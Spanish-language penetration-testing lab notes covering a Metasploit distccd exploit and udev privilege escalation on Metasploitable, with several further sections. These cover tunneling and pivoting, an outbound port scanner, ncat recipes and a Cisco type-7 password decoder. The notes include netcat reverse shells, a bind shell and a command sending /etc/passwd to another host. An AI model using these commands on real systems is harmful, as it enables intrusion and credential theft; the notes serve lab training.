# Metasploitable (distccd + udev)

Introducción

Metasploitable virtual machine (01, 02, 03, 04)
udev < 141 Local Privilege Escalation Exploit

Ejecución
# msfconsole
msf > nmap -sV -O -p 1-65535 192.168.1.50
[*] exec: nmap -sV -O -p 1-65535 192.168.1.50

Not shown: 65523 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  netbios-ssn 
3306/tcp open  mysql
3632/tcp open  distccd
5432/tcp open  postgresql
8009/tcp open  ajp13
8180/tcp open  http
MAC Address: 08:00:27:F7:38:97 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux

msf > search distccd
msf > use unix/misc/distcc_exec
msf exploit(distcc_exec) > show options
msf exploit(distcc_exec) > set rhost 192.168.1.50
msf exploit(distcc_exec) > show payloads
msf exploit(distcc_exec) > set payload cmd/unix/bind_ruby
# nc -vl 1234
msf exploit(distcc_exec) > exploit

[*] Started bind handler
[*] Command shell session 1 opened (192.168.1.100:56362 -> 192.168.1.50:4444)

uname -a
Linux metasploitable 2.6.24-16-server
whoami
daemon
wget http://www.exploit-db.com/download/8572
mv index.html cve-2009-1185.c
gcc -o cve-2009-1185 cve-2009-1185.c
echo "#!/bin/sh\n/bin/netcat -e /bin/sh 192.168.1.100 1234" > /tmp/run
ps axuf | grep udev | grep -v grep
root      2479  0.0  0.0   2104   708 ?        Ss  05:32   0:00 /sbin/udevd --daemon
./cve-2009-1185 2478 # =2479-1
# nc -vl 1234
Connection from 192.168.1.50 port 1234 [tcp/*] accepted
uname -a
Linux metasploitable 2.6.24-16-server
whoami
root

# Instalar metasploit

Introducción

Instalación en Ubuntu

Instalación de metasploit
# cat /etc/lsb-release | grep DESC
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
# cd
# apt-get install ruby libopenssl-ruby libyaml-ruby \
libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems
# apt-get install subversion
# apt-get install build-essential ruby-dev libpcap-dev
# mkdir metasploit
# cd metasploit
# wget http://updates.metasploit.com/data/releases/framework-3.5.1.tar.bz2
# tar xvjf framework-3.5.1.tar.bz2
# mkdir -p /opt/metasploit3
# cp -a msf3/ /opt/metasploit3/msf3
# ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/
# svn update /opt/metasploit3/msf3/
# cd ..
# rm -rf metasploit
Instalación de postgres
# apt-get install postgresql-8.4
# apt-get install rubygems libpq-dev
# gem install pg
# apt-get install libreadline-dev
# apt-get install libssl-dev
# apt-get install libpq5
# apt-get install ruby-dev
Configuración de postgres
# su postgres
$ createuser msf_user -P
Enter password for new role: 
Enter it again: 
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
$ createdb --owner=msf_user msf_database
Configuración de Metasploit
# cat > ~/.msf3/msfconsole.rc << eof
> db_driver postgresql
> db_connect msf_user:password@127.0.0.1:5432/msf_database
> db_workspace -a MiProyecto
> eof
Habilitar el módulo rack sockets
# cd /opt/metasploit3/msf3/external/pcaprub/
# ruby extconf.rb
# make && make install
Habilitar el módulo wifi
# cd  /opt/metasploit3/msf3/external/ruby-lorcon2/
# svn co http://802.11ninja.net/svn/lorcon/trunk lorcon2
# cd lorcon2
# ./configure --prefix=/usr && make && make install
# cd ..
# ruby extconf.rb
# make && make install

# Reduh

Introducción

Utilizamos telnet para conectarnos a un router interno y pivotamos en un servidor web.
El tráfico telnet está encapsulado por un túnel HTTP entre local y servidor.
El router recibe la conexión telnet desde la @ip de servidor.

Reduh

Ejecución
local# java -jar reDuhClient.jar http://servidor/reDuh.php
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42005
[Info]Attempting to start reDuh from servidor:80/reDuh.php.  Using service port 42005. Please wait...
[Info]reDuhClient service listener started on local port 1010
local# ncat local 1010
Welcome to the reDuh command line
>>[createTunnel]1234:router:23
 Successfully bound locally to port 1234. Awaiting connections.

>>
local# telnet local 1234

# Túneles sobre SSH

Introducción

Utilizamos telnet para conectarnos a un router interno pero antes pivotamos en un servidor SSH.
El tráfico telnet está cifrado por un túnel SSH entre local y servidor.
El router recibe la conexión telnet desde la @ip de servidor.

Ejecución estática
local# ssh -L 1234:router:23 -f -N usuario@servidor
local# telnet local 1234
Ejecución dinámica (SOCKS)
local# ssh -D 1080 -f -N usuario@servidor
local# cat /etc/tsocks.conf | grep -v -e ^# -e ^$
server = 127.0.0.1
server_type = 5
server_port = 1080
local# tsocks telnet router 23

# Opa

Introducción

Para conocer los puertos abiertos de salida a Internet ejecutaremos el script opa en local y escucharemos con tcpdump en la máquina remota.
remoto# stdbuf -o0 \
tcpdump -tni eth0 src net 82.81.233.0/24 2> /dev/null \
| awk -W interactive '{print $2,$3,$4}'
local# cat opa
#!/bin/bash
#
# NAME
#       opa - Outbound Port Agent
#
# SYNOPSIS
#       ./opa remote_ip from_port to_port [udp_mode]
#
# EXEMPLE
#       ./opa 79.159.199.15 1 65535
#       ./opa 79.159.199.15 1 1024 -u

ip=$1
from=$2
to=$3
udp=$4
counter=0

#echo "Checked ports:"
for port in `seq $from $to`
do
 if [ $counter -eq 9 ]; then
  killall nc 2> /dev/null
#  echo $port
  counter=0
 else
#  echo -n "$port, "
  nc $udp -p $port $ip $port 2> /dev/null &
  let "counter += 1"
 fi
done
killall nc 2> /dev/null

local# ./opa 79.159.199.15 1 65535

# Instalar dionaea

Información

Dionaea

Instalación
# cat /etc/lsb-release | grep DESC
DISTRIB_DESCRIPTION="Ubuntu 10.10"
# cd
# ### Some packages
# apt-get install libudns-dev \
libglib2.0-dev \
libssl-dev \
libcurl4-openssl-dev \
libreadline-dev \
libsqlite3-dev \
python-dev \
libtool \
automake \
autoconf \
build-essential \
subversion \
git-core \
flex \
bison \
pkg-config
# mkdir /opt/dionaea
# mkdir dionaea
# cd dionaea
# ### liblcfg
# git clone git://git.carnivore.it/liblcfg.git liblcfg
# cd liblcfg/code
# autoreconf -vi
# ./configure --prefix=/opt/dionaea
# make install
# cd ..
# cd ..
# ### libemu
# git clone git://git.carnivore.it/libemu.git libemu
# cd libemu
# autoreconf -vi
# ./configure --prefix=/opt/dionaea
# make install
# cd ..
# ### libev
# wget http://dist.schmorp.de/libev/Attic/libev-3.9.tar.gz
# tar xfz libev-3.9.tar.gz
# cd libev-3.9
# ./configure --prefix=/opt/dionaea
# make install
# cd ..
# ### cython
# wget http://cython.org/release/Cython-0.12.1.tar.gz
# tar xfz Cython-0.12.1.tar.gz
# cd Cython-0.12.1       
# python setup.py build
# sudo python setup.py install
# cd ..
# ### sqlite3
# apt-get install sqlite3
# ### python3
# wget http://python.org/ftp/python/3.1.2/Python-3.1.2.tgz
# tar xfz Python-3.1.2.tgz
# cd Python-3.1.2
# ./configure --enable-shared \
--prefix=/opt/dionaea \
--with-computed-gotos \
--enable-ipv6 \
LDFLAGS="-Wl,-rpath=/opt/dionaea/lib/"
# make
# make install
# cd ..
# ### libxml2
# apt-get install libxml2-dev
# ### libxslt
# apt-get install libxslt1-dev
# ### lxml
# wget http://codespeak.net/lxml/lxml-2.2.6.tgz
# tar xfz lxml-2.2.6.tgz
# cd lxml-2.2.6
# /opt/dionaea/bin/2to3 -w src/lxml/html/_diffcommand.py
# /opt/dionaea/bin/2to3 -w src/lxml/html/_html5builder.py
# /opt/dionaea/bin/python3 setup.py build
# /opt/dionaea/bin/python3 setup.py install
# cd ..
# ### c-ares
# wget http://c-ares.haxx.se/c-ares-1.7.3.tar.gz
# tar xfz c-ares-1.7.3.tar.gz
# cd c-ares-1.7.3
# ./configure --prefix=/opt/dionaea
# make
# make install
# cd ..
# ### curl
# wget http://curl.haxx.se/download/curl-7.20.0.tar.bz2
# tar xfj curl-7.20.0.tar.bz2
# cd curl-7.20.0
# ./configure --prefix=/opt/dionaea --enable-ares=/opt/dionaea
# make
# make install
# cd ..
# ### libpcap
# wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
# tar xfz libpcap-1.1.1.tar.gz
# cd libpcap-1.1.1
# ./configure --prefix=/opt/dionaea
# make
# make install
# cd ..
# ### p0f
# apt-get install p0f
# ### dionaea
# git clone git://git.carnivore.it/dionaea.git dionaea
# cd dionaea
# autoreconf -vi
# ./configure --with-lcfg-include=/opt/dionaea/include/ \
--with-lcfg-lib=/opt/dionaea/lib/ \
--with-python=/opt/dionaea/bin/python3.1 \
--with-cython-dir=/usr/local/bin \
--with-udns-include=/opt/dionaea/include/ \
--with-udns-lib=/opt/dionaea/lib/ \
--with-emu-include=/opt/dionaea/include/ \
--with-emu-lib=/opt/dionaea/lib/ \
--with-gc-include=/usr/include/gc \
--with-ev-include=/opt/dionaea/include \
--with-ev-lib=/opt/dionaea/lib \
--with-nl-include=/opt/dionaea/include \
--with-nl-lib=/opt/dionaea/lib/ \
--with-curl-config=/opt/dionaea/bin/ \
--with-pcap-include=/opt/dionaea/include \
--with-pcap-lib=/opt/dionaea/lib/ \
--with-glib=/opt/dionaea
# make
# make install
# cd ..
Configuración
# cd /opt/dionaea/etc/dionaea
# sed -i 's/^\/\/\t\t\t"p0f"/\t\t\t"p0f"/' dionaea.conf
Ejecución
# cd /opt/dionaea/bin/
# p0f -i any -u root -Q /tmp/p0f.sock -q -l -d -o /tmp/p0f.log
# ./dionaea -l all,-debug -L '*' -D
Visualización
# cd /opt/dionaea/var/dionaea
# sqlite3 logsql.sqlite
sqlite> select count(local_port), local_port
FROM connections
where connection_type='accept'
group by local_port;
9|135
4|445
2|1433
sqlite> .exit

# Ncat

Información

Ncat

Recibir un fichero de un equipo remoto
local# ncat -l 192.168.1.1 1234
remoto# ncat --send-only 192.168.1.1 1234 < /etc/passwd
Recibir un fichero de un equipo remoto (cifrando)
local# ncat --ssl -l 192.168.1.1 1234
remoto# ncat --ssl --send-only 192.168.1.1 1234 < /etc/passwd
Abrir una shell en un equipo remoto
remoto# ncat -l 192.168.1.2 1234 -c "bash -i 2>&1"
local# ncat 192.168.1.2 1234
Recibir una shell de un equipo remoto
local# ncat -l 192.168.1.1 1234
remoto# ncat 192.168.1.1 1234 -c "bash -i 2>&1"
Redirección de puertos con destino fijo
remoto# ncat -l 192.168.1.2 1234 -c "ncat 192.168.1.3 21"
local# ncat 192.168.1.2 1234
Redirección de puertos con destino variable (proxy)
remoto# ncat -l 192.168.1.2 1234 --proxy-type http
local# ncat --proxy 192.168.1.2:1234 192.168.1.3 21
Chat entre dos clientes con control de acceso
servidor# ncat -l 192.168.1.3 1234 --chat -m 2 --allow 192.168.1.0/24
remoto# ncat 192.168.1.3 1234
local# ncat 192.168.1.3 1234

# Finger

Finger es una herramienta que permite consultar la información de los usuarios de un sistema. Para poder obtener esta información el sistema tiene que estar ejecutando el servicio finger. Habitualmente se ejecuta en el puerto 79.
En este laboratorio utilizaremos un router Cisco que tenga en ejecución el servicio finger y consultaremos los usuarios del router desde un equipo remoto utilizando la herramienta finger.

local# finger @router
[router]

Line       User       Host(s)              Idle       Location
0 con 0     root       idle                 00:00:25
6 vty 0     carlos     idle                 00:00:07 192.168.5.1

Interface    User               Mode         Idle     Peer Address
Se0          david              Sync PPP     00:13:59 192.168.1.2
local#
Podemos observar:

- Los siguientes usuarios: root, carlos y david.
- Cómo acceden al router (con0, vty0, s0).
- El tiempo ocioso desde el acceso a las líneas o interfaces.
- Desde dónde acceden (192.168.5.1, 192.168.1.2).
- El modo de acceso a la interfaz s0 (PPP).

# S/Key

S/Key es un sistema de autenticación OTP (One-Time Password), por lo tanto, permite utilizar contraseñas de un único uso. Estas contraseñas son generadas a partir de una función de hash (md4, md5, sha1 o rmd160) y una clave secreta.
Funcionamiento:

F: función de hash
skey: palabra secreta
Pi: contraseña 1-10

F(skey) = P0
F(P0) = P1
F(P1) = P2
F(P2) = P3
F(P3) = P4
F(P4) = P5
F(P5) = P6
F(P6) = P7
F(P7) = P8
F(P8) = P9
F(P9) = P10

S/Key está soportado en sistemas *NIX y se encarga de la autenticación de algunos protocolos (telnet, ftp, ssh, ...).
El servidor almacena la última contraseña generada (P10). Cuando el usuario intenta acceder al servidor, se le solicita la contraseña P9, si F(P9) = P10, el servidor permite el acceso, almacena P9 y en el siguiente acceso solicitará P8.
En el caso de que un atacante interceptara P9, esta ya no sería válida. En el caso de que quisiera obtener P8 a partir de P9, tendría un gran problema (encontrar la función inversa G(P9)->P8), ya que las contraseñas se generan utilizando funciones de hash de una vía (F(P8)->P9).

Práctica:
local# ssh root@192.168.1.12
root@192.168.1.12's password: 
Last login: Sat Oct  4 23:00:28 2008
OpenBSD 4.3 (GENERIC) #698: Wed Mar 12 11:07:05 MDT 2008

remoto# skeyinit -E
remoto# skeyinit
Reminder - Only use this method if you are directly connected
or have an encrypted channel.  If you are using telnet,
hit return now and use skeyinit -s.
[Adding root with md5]
Enter new secret passphrase: 
Again secret passphrase: 

ID root skey is otp-md5 100 open65334
Next login password: YAM LOWE GIBE HOWL LION MAST

remoto# otp-md5 -n 100 `skeyinfo`  
Reminder - Do not use this program while logged in via telnet.
Enter secret passphrase: 
0: ORGY COST EDGY TINT DEAR BLUM
1: RASH HELL LEAD NEIL HARM ADEN
2: GAG PER EMMA BAND USES GET   
3: SAW BALE WAY KNEW RULE CLUE  
4: GRAD BOWL ALGA TONY BUSS NOW 
5: AVOW HALL VIE MUD YEAR COY   
6: YAP DIAL WEAL DUD PER HAAS   
7: VASE HESS ULAN DORA YAWL EYED
8: GASH SIP KISS WHY HEAL TACT  
9: KONG MARE SHIM CAGE BACK RULE
10: WU BUCK LAME RUDY OLAF COCK  
11: SOFA DRUG LAVA HAY BAIL STAB 
12: GIRL VICE KEY AWE AT RENT    
13: DAY OSLO TUFT MA MANY EASY   
14: MILE RAM DINE HOYT THUG PAD  
15: NIP DEFY DATA LINK FILE TAKE 
16: HAND WEIR HOOK LIED PEA LIAR 
17: RYE WAGE HAYS SELL TIE HOP   
18: GULF TONG AT DRAW MINE CADY  
19: CHEW FANG LYLE SUDS EASY MIT 
20: WARM HASH BERT SALK WEE DEBT 
21: EST MAW LUCK EVEN WEST GARB  
22: ROOF ARTY DOSE GLOW GLIB TOOT
23: TELL ROE SELF NOLL GARB CASK 
24: MEAL MILD FIST TEAM COOT ROAR
25: HECK DIET AID SON HIS RUDE   
26: VISE EVIL FEE TIDY BURT SIRE 
27: MOTH FERN OTT SURE WELD REID 
28: MICE LYNN GANG HOLT ROSA LOOK
29: HO TUNA DESK LIP GUSH SOAR   
30: KEG LIN DIRT TEEM COMA SAIL  
31: EVA ANNA APT IQ TUBE WART    
32: AHOY SOWN RISK GAP DARK BADE 
33: LINK HAL CELL SHE LAVA MUST  
34: GIFT MAE SOD SLIM HAIR HESS  
35: KATE NIT TAB SOCK GLOW CLUE  
36: GO PEN EARL TIP WICK SORT    
37: TIER IFFY ARCH YES YEAR WOK  
38: WIRE WISH THEY LOSE NAN ROBE 
39: MOD GARY EARL TONG PIN OW    
40: BASH GINA JURY ONES DAR GIFT 
41: SLUG LIFE FIT AMRA BROW AIDE 
42: HEBE LYON VOID MORE KNEW FROM
43: ONLY TUN AT BUFF BETA HORN   
44: EDDY ABE UP THAN ANNA JAR    
45: SARA GEL DOWN KARL DIME BOG  
46: BAWL KITE BOSE OILY LION TALL
47: BOYD ALAN TOOT MEAN NICE FAD 
48: SOWN ELM AJAR TUFT WEAL ANTE 
49: SELF FIRM GAP NEWS FULL HESS 
50: TOOK JUNE BOB ROLL ABLE BIEN 
51: ROSA DIN GLUE MISS TEET VEAL 
52: DOG FLUB SIFT LARD ACME BABY 
53: JIM TOUT GOT ROVE SEEK USES  
54: ONLY PUP PEW ALTO LIMB GIVE  
55: BEAU HUT SEA HOC CUT SUD     
56: NOV WRY JOHN AMY PHI NODE    
57: GIST DINE DAB AHEM COIL OVER 
58: KNOB CAP YOU CUTS NAIL SIP   
59: PET WED DAM JIM STIR SCAR    
60: AUK RAT HONK SUN GENE AVON   
61: REAM ROAR VEND LIP DID EGG   
62: LIT DUG WAIT GALA WEAK NON   
63: JOVE JAM LOG DIAL LAWN LILT  
64: BARE CHUB CON LIAR STOW FOUL 
65: TREK ROOM NEWS HAN SKIT LAWS 
66: BARE TUSK JOAN TESS BARE DEN 
67: JUNE YAM LUND PHI ARC DUST   
68: BASE WIFE GLUE OTTO MALE SIR 
69: SOAK FANG ELY FOR PI ROUT    
70: TUCK FIRM BONA HOB TOIL SUB  
71: CERN TIED SAG SLID MAYO SOW  
72: DUNK TOE JAVA GOOD JOVE HERB 
73: HOC DUCT MAE MOE BEAK BOSS   
74: SHE SILT MURK UP GAB WEEK    
75: BELA POP HOLT BET LORD BARN  
76: CALF SWAB DAWN FOAM GUY GWEN 
77: DIP BAT ONCE TREK GLEN MACE  
78: VEIL FUSE VETO SUB CHAD EMIT 
79: TWIN PET CALF GREY KEG HIVE  
80: IO TINA KNOT JAM KNOT FUME   
81: LIEU JURY JUT KONG GAFF GLAD 
82: CAW CLAD TONE DIRT PRO ELSE  
83: KIRK LIST CODA NEWS LOSS STAN
84: GREG TESS QUIT LOW SLAY HIKE 
85: FLEA GRAD GOWN WAGE KANT FEED
86: KALE DEFY NOT OLGA GIBE CURD 
87: HUG ACTS YALE PAY RACY JULY  
88: VISE HUG MOD BAG LUCY CLOD   
89: EMIL IF ALGA FIB FAIL MUCK   
90: BETH LIN KARL AFAR FOOT WEAK 
91: NO RON ULAN MIRE RIDE NOEL   
92: DEAL SHAG DAVY OLGA AIDA MAP 
93: DELL FIRM COKE HEAT BEY KEEN 
94: CHAD PAM DUMB FAR ANTI COOL  
95: LULU VIEW BUCK DULL GLOM BOP 
96: BUOY SAY SICK JOEY ANTE COCA 
97: MORN FLIT FAKE LOOT HULK ECHO
98: NOUN KEEL HAVE CITY YELL RIME
99: ROBE DIVE MOST LAVA MIRE BONN
remoto# exit
local# ssh -l root:skey 192.168.1.12
otp-md5 99 open65334
S/Key Password: ROBE DIVE MOST LAVA MIRE BONN
Last login: Sat Oct  4 23:02:03 2008 from 192.168.1.2
OpenBSD 4.3 (GENERIC) #698: Wed Mar 12 11:07:05 MDT 2008

remoto#

# Romper el cifrado de Vigenère

Para romper el cifrado de Vigenère o las contraseñas tipo 7 de Cisco, podemos utilizar varios métodos:

- Utilizar herramientas en línea:

http://www.kazmier.com/computer/cisco-apps.html
http://www.ifm.net.nz/cookbooks/passwordcracker.html

- Utilizar la herramienta 'Cain and Abel'.

Descargar la herramienta, instalarla y ejecutarla. Una vez en ejecución, presionar Alt+7 y aparecerá la ventana 'Cisco Type-7 Password Decoder'.

- Utilizar un código en C o en perl.

- Utilizar el propio IOS del router:
router(config)#enable password crackmeifyoucan
router(config)#service password-encryption
router#show run
...
enable password 7 0307490A05042C49470F000A02110A02
...
router(config)#key chain tipo7
router(config-keychain)#key 0
router(config-keychain-key)#key-string 7 0307490A05042C49470F000A02110A02
router#show key chain tipo7
Key-chain tipo7:
key 0 -- text "crackmeifyoucan"
accept lifetime (always valid) - (always valid) [valid now]
send lifetime (always valid) - (always valid) [valid now]
Los dos primeros carácteres (03) del ciphertext (0307490A05042C49470F000A02110A02) corresponden a la semilla (seed). La semilla nos da el punto de entrada en un array de bytes para obtener la clave circular que permite cifrar/descifrar con Vigenère. Veamos paso a paso cómo desciframos el siguiente ciphertext:
# ./vigenere 0307490A05042C49470F000A02110A02 -v
seed=('enc_pw[0]'-'0')*10+'enc_pw[1]'-'0'='0'-'0')*10+'3'-'0'+1=(48-48)*10+51-48+1
seed=3

key table[]:  d  s  f  d  ;  k  f  o  A  ,  .  i  y  e  w  r  k  l  d  J  K  D
              0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21

key: d;kfoA,.iyewrkldJKDdsf

***I=2 '0'
***I=3 '7'
  '07' ^ key_table[3] = 0x7 ^ 0x64 = 001100011b = c
  password=c
***I=4 '4'
***I=5 '9'
  '49' ^ key_table[4] = 0x49 ^ 0x3b = 001110010b = r
  password=cr
***I=6 '0'
***I=7 'A'
  '0A' ^ key_table[5] = 0xa ^ 0x6b = 001100001b = a
  password=cra
***I=8 '0'
***I=9 '5'
  '05' ^ key_table[6] = 0x5 ^ 0x66 = 001100011b = c
  password=crac
***I=10 '0'
***I=11 '4'
  '04' ^ key_table[7] = 0x4 ^ 0x6f = 001101011b = k
  password=crack
***I=12 '2'
***I=13 'C'
  '2C' ^ key_table[8] = 0x2c ^ 0x41 = 001101101b = m
  password=crackm
***I=14 '4'
***I=15 '9'
  '49' ^ key_table[9] = 0x49 ^ 0x2c = 001100101b = e
  password=crackme
***I=16 '4'
***I=17 '7'
  '47' ^ key_table[10] = 0x47 ^ 0x2e = 001101001b = i
  password=crackmei
***I=18 '0'
***I=19 'F'
  '0F' ^ key_table[11] = 0xf ^ 0x69 = 001100110b = f
  password=crackmeif
***I=20 '0'
***I=21 '0'
  '00' ^ key_table[12] = 0x0 ^ 0x79 = 001111001b = y
  password=crackmeify
***I=22 '0'
***I=23 'A'
  '0A' ^ key_table[13] = 0xa ^ 0x65 = 001101111b = o
  password=crackmeifyo
***I=24 '0'
***I=25 '2'
  '02' ^ key_table[14] = 0x2 ^ 0x77 = 001110101b = u
  password=crackmeifyou
***I=26 '1'
***I=27 '1'
  '11' ^ key_table[15] = 0x11 ^ 0x72 = 001100011b = c
  password=crackmeifyouc
***I=28 '0'
***I=29 'A'
  '0A' ^ key_table[16] = 0xa ^ 0x6b = 001100001b = a
  password=crackmeifyouca
***I=30 '0'
***I=31 '2'
  '02' ^ key_table[17] = 0x2 ^ 0x6c = 001101110b = n
  password=crackmeifyoucan
Password: crackmeifyoucan
Código fuente de vigenere:
# cat vigenere.c 
#include <stdio.h>
#include <string.h>

char xlat[]={
 0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,0x6f,
 0x41,0x2c,0x2e,0x69,0x79,0x65,0x77,0x72,
 0x6b,0x6c,0x64,0x4a,0x4b,0x44
};

int verbose=0;

const char* byte_to_binary(int x){
 static char b[9];
 int z;
 b[0]='\0';
 for(z=256;z>0;z>>=1){
  strcat(b,((x & z) == z) ? "1" : "0");
 }
 return b;
}

int cdecrypt(char *enc_pw,char *dec_pw){
 unsigned int seed,i,val=0;
 if(strlen(enc_pw)&1) return(-1);
 seed=(enc_pw[0]-'0')*10+enc_pw[1]-'0';
 if(verbose){
  printf("seed=('enc_pw[0]'-'0')*10+'enc_pw[1]'-'0'=");
  printf("'%c'-'0')*10+'%c'-'0'+1",enc_pw[0],enc_pw[1]);
  printf("=(%d-%d)*10+%d-%d+1\n",enc_pw[0],'0',enc_pw[1],'0');
  printf("seed=%d\n\n",seed); 
  printf("key table[]:");
  for(i=0;i<22;i++){printf("  %c",xlat[i]);}printf("\n"); 
  printf("            ");
  for(i=0;i<22;i++){printf("%3d",i);}printf("\n\n"); 
  printf("key: ");
  for(i=seed;i<22;i++){printf("%c",xlat[i]);} 
  for(i=0;i<seed;i++){printf("%c",xlat[i]);}printf("\n\n"); 
 }
 if(seed>15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) return(-1);
 for(i=2;i<=strlen(enc_pw);i++){
  if(i!=2 && !(i&1)){
   dec_pw[i/2 - 2]=val^xlat[seed];
   if(verbose){
    printf("\t\t'%c%c' ^ key_table[%d] = 0x%x ^ 0x%x = %sb = ",
     enc_pw[i-2],enc_pw[i-1],seed,val,xlat[seed],byte_to_binary(dec_pw[i/2 - 2]));
    printf("%c\n",dec_pw[i/2 - 2]);
    printf("\t\tpassword=%s\n",dec_pw);
   }
   val=0;
   seed++;
  }
  if(verbose){if(i<strlen(enc_pw)){printf("***I=%d '%c'\n",i,enc_pw[i]);}}
  val*=16;
  if(isdigit(enc_pw[i]=toupper(enc_pw[i]))){
   val+=enc_pw[i]-'0';
   continue;
  }
  if(enc_pw[i]>='A' && enc_pw[i]<='F'){
   val+=enc_pw[i]-'A'+10;
   continue;
  }
  if(strlen(enc_pw)!=i) return(-1);
 }
 dec_pw[++i/2]=0;
 return(0);
}

int main(int argc,char **argv){
 char passwd[65];
 memset(passwd,0 , sizeof(passwd));
 if((argv[2]!=0)&&!strcmp(argv[2],"-v")){verbose=1;}
 cdecrypt(argv[1],passwd);
 printf("Password: %s\n",passwd);
 return 0;
}